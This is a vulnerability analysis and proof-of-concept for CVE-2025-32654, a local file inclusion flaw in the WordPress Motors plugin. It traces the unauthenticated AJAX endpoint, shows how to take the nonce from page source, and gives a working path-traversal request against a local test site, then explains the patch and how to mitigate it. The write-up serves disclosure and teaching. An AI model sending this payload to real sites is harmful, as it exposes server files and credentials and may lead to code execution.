Contents

CVE-2025-32654 Analysis & POC

The Motors plugin, version ≤ 1.4.71, contains a Local File Inclusion (LFI) vulnerability that allows an unauthenticated attacker to control a file parameter in an include/require statement, thereby injecting or reading local files on the server (e.g., configuration files containing credentials). This can lead to sensitive information disclosure, and under certain configurations, remote code execution.

  • CVE ID: CVE-2025-32654
  • Vulnerability Type: Local File Inclusion
  • Affected Versions: <= 1.4.71
  • Patched Versions: 1.4.72
  • CVSS Severity: High (8.1)
  • Required Privilege: Unauthenticated
  • Product: WordPress Motors Plugin
  • Local WordPress & Debugging: Local WordPress and Debugging.
  • Plugin versionsMotors: 1.4.71 (vulnerable) and 1.4.72 (patched).
  • Diff toolMeld or any other comparison (diff) tool to inspect and compare differences between two versions.

Vulnerable version:

public static function motors_ew_grid_tabs() {
	$template = sanitize_text_field( $_POST['template'] );
	// other logic
}

The vulnerable code only sanitizes HTML characters using sanitize_text_field(), without restricting paths — thus an attacker can inject ../ or any filename, leading to LFI.

Patched version:

public static function motors_ew_grid_tabs() {
	$allowed_templates = array(
		'listing-cars/listing-grid-directory-loop-4',
		'listing-cars/listing-grid-directory-loop-3',
		'listing-cars/listing-grid-directory-loop',
	);
	$template = 'listing-cars/' . ( isset( $_POST['template'] ) ? sanitize_file_name( $_POST['template'] ) : '' );
	if ( ! in_array( $template, $allowed_templates, true ) ) {
		wp_send_json_error( 'Invalid template' );
		return;
	}
	// other logic
}

The patch applies sanitize_file_name() along with a whitelist to validate input, effectively neutralizing any possible exploitation through the template parameter.

The function motors_ew_grid_tabs() is registered as a callback for the action hook "grid_tabs_widget" via:

add_action( 'wp_ajax_nopriv_grid_tabs_widget', array( self::class, 'motors_ew_grid_tabs' ) );

The prefix wp_ajax_nopriv_ indicates that this action does not require user authentication to trigger the AJAX endpoint. Therefore, the endpoint can be publicly accessed through:

/wp-admin/admin-ajax.php?action=grid_tabs_widget

When invoked, motors_ew_grid_tabs() is executed:

public static function motors_ew_grid_tabs() {
	check_ajax_referer( 'motors_grid_tabs', 'security' );

	$listing_types = apply_filters( 'stm_listings_post_type', 'listings' );

	$tab_type = sanitize_text_field( $_POST['tab_type'] );
	$per_page = intval( $_POST['per_page'] );
	$template = sanitize_text_field( $_POST['template'] );
	$img_size = sanitize_text_field( $_POST['img_size'] );

	$args = array(
		'post_type'      => $listing_types,
		'post_status'    => 'publish',
		'posts_per_page' => $per_page,
	);

	if ( 'popular' === $tab_type ) {
		$args = array_merge(
			$args,
			array(
				'orderby'  => 'meta_value_num',
				'meta_key' => 'stm_car_views',
				'order'    => 'DESC',
			)
		);
	}

	$args['meta_query'][] = array(
		'key'     => 'car_mark_as_sold',
		'value'   => '',
		'compare' => '=',
	);

	$template_args = array();
	if ( ! empty( $img_size ) ) {
		$template_args = array(
			'custom_img_size' => $img_size,
		);
	}

	$listings_query = new WP_Query( $args );

	if ( $listings_query->have_posts() ) {
		$output = '';
		ob_start();
		while ( $listings_query->have_posts() ) {
			$listings_query->the_post();
			do_action( 'stm_listings_load_template', $template, $template_args );
		}
		$output .= ob_get_clean();
	}

	wp_send_json(
		array(
			'html' => $output,
		)
	);
}

At the beginning of motors_ew_grid_tabs(), this line:

check_ajax_referer( 'motors_grid_tabs', 'security' );

performs a nonce validation to protect against CSRF (Cross-Site Request Forgery). If the nonce provided by the client is invalid or missing, the function halts further AJAX processing — meaning all subsequent logic (handling $template, post query, and HTML rendering) will not execute.

public static function motors_create_nonce() {
	$grid_tabs_widget = wp_create_nonce( 'motors_grid_tabs' );
	// other logic
	wp_localize_script(
		'jquery',
		'mew_nonces',
		array(
			'motors_grid_tabs' => $grid_tabs_widget,
			// other logic
		)
	);
}

The function motors_create_nonce() generates the nonce for 'motors_grid_tabs' using wp_create_nonce() and exposes it to JavaScript via wp_localize_script() under the variable mew_nonces.motors_grid_tabs.

Tip

Because this vulnerability is unauthenticated, the nonce is not visible in the admin area. Instead, after installing the plugin with all dependencies, open the homepage, then search the page source for the keyword motors_grid_tabs to find the required nonce value.

Nonce value shown in browser source

Nonce value shown in browser source

Additionally, the homepage source contains a JavaScript snippet that automatically triggers the AJAX call to the endpoint in focus:

/wp-admin/admin-ajax.php?action=grid_tabs_widget

when the page loads:

<script>
	(function($) {
		$(document).ready(function() {
			$.ajax({
				type: "POST",
				url: ajaxurl,
				dataType: 'json',
				async: true,
				data: 'action=grid_tabs_widget&tab_type=popular&per_page=8&template=listing-cars/listing-grid-directory-loop-4&img_size=&security=' + mew_nonces.motors_grid_tabs,
				success: function(data) {
					if( data.hasOwnProperty('html') ) $('#popular-tab-content').html(data.html);
					updateGridItemTitles();
				},
			});
		});
	})(jQuery)
</script>

This script executes automatically because it’s inside $(document).ready(), so jQuery runs it when the page finishes loading.

Leveraging this, we can reload the homepage and intercept the AJAX request using BurpSuite to capture the required parameters.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: application/json, text/javascript, */*; q=0.01
...
action=grid_tabs_widget&tab_type=popular&per_page=8&template=listing-cars/listing-grid-directory-loop-4&img_size=&security=d15dd83890

We then place a breakpoint in motors_ew_grid_tabs() right before the response is sent:

ob_start();
while ( $listings_query->have_posts() ) {
	$listings_query->the_post();
	do_action( 'stm_listings_load_template', $template, $template_args );
}
$output .= ob_get_clean();

This block generates the dynamic HTML content:

  • ob_start() initializes the output buffer.
  • The while loop iterates over queried posts and calls do_action( 'stm_listings_load_template', $template, $template_args ) to render each item using the chosen template.
  • ob_get_clean() retrieves and clears the buffer, assigning the result to $output.

👉 As a result, $output contains all rendered HTML ready to be returned to the client.

When the request is replayed and inspected in the debugger:

Debugger stepping through post retrieval logic

Debugger stepping through post retrieval logic

We see that with the default parameters sent by the plugin, $listings_query->have_posts() is true, thus the hook stm_listings_load_template executes and processes $template.

The hook is registered with a callback of the same name:

function stm_listings_load_template( $__template, $__vars = array() ) {
	extract( $__vars );
	include stm_listings_locate_template( $__template );
}
add_action( 'stm_listings_load_template', 'stm_listings_load_template', 10, 2 );

The include statement is the LFI sink. Analyzing stm_listings_locate_template() reveals what path is being included — allowing us to craft our payload.

function stm_listings_locate_template( $templates ) {
	$located = false;

	foreach ( (array) $templates as $template ) {
		if ( substr( $template, - 4 ) !== '.php' ) {
			$template .= '.php';
		}

		if ( str_contains( $template, 'partials/' ) ) {
			$located = locate_template( $template );
		} else {
			$located = locate_template( 'listings/' . $template );
		}

		if ( ! ( $located ) ) {
			if ( file_exists( realpath( apply_filters( 'stm_listings_template_file', STM_LISTINGS_PATH, $template ) . '/templates/' . $template ) ) ) {
				$located = realpath( apply_filters( 'stm_listings_template_file', STM_LISTINGS_PATH, $template ) . '/templates/' . $template );
			}
		}

		if ( file_exists( $located ) ) {
			break;
		}
	}

	return apply_filters( 'stm_listings_locate_template', $located, $templates );
}

This function iterates over $templates to locate a valid template path:

  • Appends .php if missing.

  • If the path contains 'partials/', it calls locate_template( $template ).

  • Otherwise, it looks inside 'listings/'.

  • If still not found, it checks directly inside the plugin path:

    STM_LISTINGS_PATH . '/templates/' . $template
  • Once a valid file is found, the loop breaks and returns that path.

locate_template() is a WordPress core function that searches the active theme for the given template file. If found, it returns the full path; otherwise, it returns an empty string — meaning we need to reference an existing file.

👉 The result is returned via the filter stm_listings_locate_template as $locate.

No filter registered for stm_listings_locate_template

No filter registered for stm_listings_locate_template

No filters are registered for this hook, meaning $locate is returned unchanged.

Therefore, the conditions required for exploitation are:

  • The template parameter includes partials/ or listings/.
  • Sufficient ../ traversal so that locate_template() returns empty but include does not error when the path exists.
  1. Add a simple test code to wp-config.php:
<?php
echo "payload"
  1. Send a POST request containing the LFI payload:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
...
action=grid_tabs_widget&tab_type=popular&per_page=8&template=/partials/../../../../../payload&img_size=&security=d15dd83890

Result:

Successful LFI result

Successful LFI result

CVE-2025-32654 is an LFI vulnerability in Motors ≤ 1.4.71, caused by an unsanitized template parameter that allows path traversal and arbitrary include() calls. The public endpoint (wp_ajax_nopriv_) and nonce exposed in the front-end make it easily exploitable. It was patched in v1.4.72 by normalizing file names and validating them against a whitelist.

  • Never use raw user input to construct file paths for include.
  • Always enforce a whitelist of valid templates/paths.
  • Normalize (e.g. sanitize_file_name()/sanitize_key()), and use realpath() to ensure paths remain within the intended directory.
  • For public endpoints, strictly validate inputs — don’t rely solely on nonce protection.

File Inclusion/Path traversal — HackTricks

WordPress Motors Plugin <= 1.4.71 is vulnerable to Local File Inclusion

Related Content